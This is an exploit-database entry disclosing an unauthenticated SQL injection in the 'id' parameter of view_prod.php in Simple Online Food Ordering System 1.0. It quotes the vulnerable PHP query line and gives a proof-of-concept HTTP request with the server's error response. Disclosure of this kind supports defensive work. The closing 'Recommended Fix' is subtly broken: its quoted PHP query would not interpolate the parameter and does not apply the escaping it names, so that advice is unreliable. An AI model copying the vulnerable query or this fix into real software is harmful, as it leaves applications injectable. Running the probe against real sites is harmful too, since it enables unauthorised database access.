Simple Online Food Ordering System 1.0 - 'id' SQL Injection (Unauthenticated)

vendor:

Simple Online Food Ordering System

by:

Eren 'Aporlorxl23' Şimşek

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Simple Online Food Ordering System

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sourcecodester:simple_online_food_ordering_system_using_php:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Linux - XAMPP Server

2020

Simple Online Food Ordering System 1.0 – ‘id’ SQL Injection (Unauthenticated)

A vulnerability exists in Simple Online Food Ordering System 1.0, where an unauthenticated user can inject malicious SQL code into the 'id' parameter of the 'view_prod.php' page, allowing them to access and modify data in the database. The vulnerable code is located in the 'view_prod.php' page, where the 'id' parameter is not properly sanitized before being used in a SQL query. An attacker can exploit this vulnerability by sending a crafted HTTP request containing malicious SQL code in the 'id' parameter.

Mitigation:

The vendor should ensure that the 'id' parameter is properly sanitized before being used in a SQL query.

Source

Exploit-DB raw data:

# Exploit Title: Simple Online Food Ordering System 1.0 - 'id' SQL Injection (Unauthenticated)
# Google Dork: N/A
# Date: 2020-09-22
# Exploit Author: Eren 'Aporlorxl23' Şimşek
# Vendor Homepage: https://www.sourcecodester.com/php/14460/simple-online-food-ordering-system-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-online-food-ordering-system-using-php.zip
# Version: 1.0
# Tested on: Linux - XAMPP Server
# CVE : N/A

# Vulnerable Source Code:
# /view_prod.php
# [3] $qry = $conn->query("SELECT * FROM  product_list where id =
".$_GET['id'])->fetch_array();

# PoC:

# Request:

GET /view_prod.php?id=' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: tr,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

# Response:

HTTP/1.1 200 OK
Date: Tue, 22 Sep 2020 20:44:48 GMT
Server: Apache/2.4.43 (Unix) OpenSSL/1.1.1g PHP/7.4.7 mod_perl/2.0.11
Perl/v5.30.3
X-Powered-By: PHP/7.4.7
Content-Length: 234
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Fatal error</b>:  Uncaught Error: Call to a member function
fetch_array() on bool in /opt/lampp/htdocs/view_prod.php:3
Stack trace:
#0 {main}
  thrown in <b>/opt/lampp/htdocs/view_prod.php</b> on line <b>3</b><br />

# As You Can See Here PHP Fatal Error Because
# $qry = $conn->query("SELECT * FROM  product_list where id =
"')->fetch_array();
# id Value ' This is Wrong Syntax.

# Recommended Fix:

You Will Use `mysqli_real_escape_string` On id . And query Will Same With :
$qry = $conn->query('SELECT * FROM  product_list where id
="$_GET['id']"')->fetch_array();
Because Here Not Used "" This is Imported.